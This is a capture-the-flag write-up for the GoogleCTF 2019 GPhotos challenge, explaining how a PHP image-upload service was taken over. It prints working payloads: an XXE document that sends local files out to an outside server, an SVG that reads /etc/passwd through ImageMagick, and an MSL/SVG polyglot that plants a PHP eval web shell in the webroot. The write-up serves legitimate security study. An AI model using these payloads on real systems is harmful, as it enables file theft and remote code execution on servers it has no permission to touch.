GoogleCTF 2019 GPhotos writeup
Challenge description
The challenge is an image storage service implemented as a PHP script. The source can be retrieved via a hidden link on the main page (it leads to /?action=src
). The script is running inside Apache.
When an image file is uploaded it goes through the following steps:
- It’s checked using
mime_content_type
. This function must return one ofimage/gif
,image/png
,image/jpeg
andimage/svg+xml
. - If it’s
image/png
orimage/jpeg
, the file goes togetimagesize
and must return correct value. Otherwise, it goes toDOMDocument->loadXML
and must not fail. - ImageMagick’s
convert
is executed on the file to generate a thumbnail. It must return zero status. - The original file (along with the thumbnail) is placed in the
upload
subdirectory in the webroot. The extension is set based on the mime type from step one (so trivialpng_with_a_shell_inside.php
would not work).
If one of the steps above fails, the rest is not executed. If the processing succeeds, you can get the full path to the image via listing on the index page.
The task had more stuff which left unused by our solution. There was a class begging for unserialize, XXE which allowed local file read and information leak via phpinfo()
. The whole source can be found here.
XXE
The way site parsed SVG for validation was vulnerable to a classic XXE.
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
This configuration allows external entities and external DTD. Exploiting it was not required for solving the task, but we used it in information gathering stage, one of the main goals during it was to get ImageMagick config /etc/ImageMagick-6/policy.xml
to find out what can we use in exploit against ImageMagick. We used a standard out-of-band exfiltration technique to steal files - we sent this SVG:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://bushwhackers.ru:8003/ev.xml" >
%remote;%template;
]><svg>&res;</svg>
Which included XML ev.xml
from our server which looked like this
<!ENTITY % secret SYSTEM "THING_TO_STEAL" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">
Few complications we faced were that SimpleXML in PHP is rather strict and won’t open URLs with “bad” characters. We solved that by using PHP URL wrapper convert.base64-encode
to base64-encode file contents. Another problem was that it did not allow too large URLs (and aforementioned ImageMagick config was too large). PHP wrappers again helped us - it turned out we can use zlib.deflate
to compress file contents. So our final ev.xml
used to steal policy.xml
looked like this
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource=file:///etc/ImageMagick-6/policy.xml" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">
ImageMagick exploitation
There’re several ImageMagick vectors we’ve combined to get RCE:
- Some Debians appear to have insecure ImageMagick configuration by default, specifically, a lot of dangerous formats are allowed. Another thing is that you can put an image tag with
href
attribute like<format>:<path>
into an SVG and ImageMagick will try to parse the path as if it was of the format you specified. For example thetext
(pseudo)format just prints a file as text, so this svg:
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="text:/etc/passwd" />
</svg>
generates small /etc/passwd
:
- By default ImageMagick comes with support for a very special image format: MSL (Magnificent Shell Landing). Its sole purpose is copying images with a php shell inside to the web root (it allows to set
php
file extension of course). Even more convenient for this case, the format is XML-based. An MSL file looks like this:
<image> <!-- ImageMagick's legend is "image processing" so the tag is named "image". -->
<read filename="image.png" /> <!-- To make the legend more compelling "image.png" is checked to be a valid image file. -->
<write filename="/var/www/html/shell.php" /> <!-- This line gives access to a hacker accomplishing the mission of the MSL format and ImageMagick in general -->
</image>
This format is not autodetected by the signature so we cannot just upload it. However, we can use SVG: if we place an MSL file in some known location we can just put href="msl:/path/to/file.msl"
into the SVG example above and the web shell will be copied.
So to solve the challenge we need to put an MSL file somewhere on the server and get the path to it.
We tried to use phpinfo + slow response read for retrieving the path to /tmp/phpXXXXXX
temp file before it gets deleted, but this trick didn’t work in the environment of the task.
- After several tries we ended up with this file:
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
<read filename="image.png" />
<write filename="/var/www/shell.php" />
<svg width="120px" height="120px">
<image href="image.png" />
</svg>
</image>
There are some interesting things about this file:
- Because of
<svg>
inside the comment on the second line,mime_content_type
will detect the file as image/svg+xml. - If we execute
convert msl:file zalupa.png
the MSL instructions are executed (that is,image.png
is moved to/var/www/shell.php
). - If we execute ImageMagick without format specifier (like
convert file zalupa.png
) it is parsed as an SVG. ImageMagick doesn’t care about the fact that thesvg
tag is not the first one, it just wants it somewhere. Another thing to note is the internalimage
tag (<image href="image.png" />
). It is invalid for MSL, however, if we hadn’t added it, ImageMagick would have tried to parse the externalimage
tag in the SVG (and fail, as it doesn’t havehref
attribute). But if there’s a fake internalimage
tag ImageMagick forgets about the invalid one.
The attack scenario
Let’s put all the pieces together.
-
First, we upload a png that includes a php shell in the comment (create it by
convert -size 100x100 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] shell.png
). It is successfully processed and the index page will show the path to it. Assume it isupload/<hash>/<image>.png
, so the local path is/var/www/html/upload/<hash>/<image>.png
. -
We upload our polymorph:
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/<hash>/<image>.png" />
<write filename="/var/www/html/upload/shell_huihui.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/<hash>/<image>.png" />
</svg>
</image>
It is successfully processed (as an SVG). Again, we can get the full path via the index page. Let’s say it’s /var/www/html/upload/<hash>/<image2>.svg
.
- We upload an SVG which looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/<hash>/<image2>.svg" />
</svg>
It passes the mime_content_type
and DOMDocument->loadXML
checks so convert
is executed on the file. It will fail after discovering invalid MSL instructions. However, the web shell will be already moved to the webroot.
- We go to http://gphotos2.ctfcompetition.com:1337/upload/shell_huihui.php?cmd=system(‘/get_flag’) and get the flag.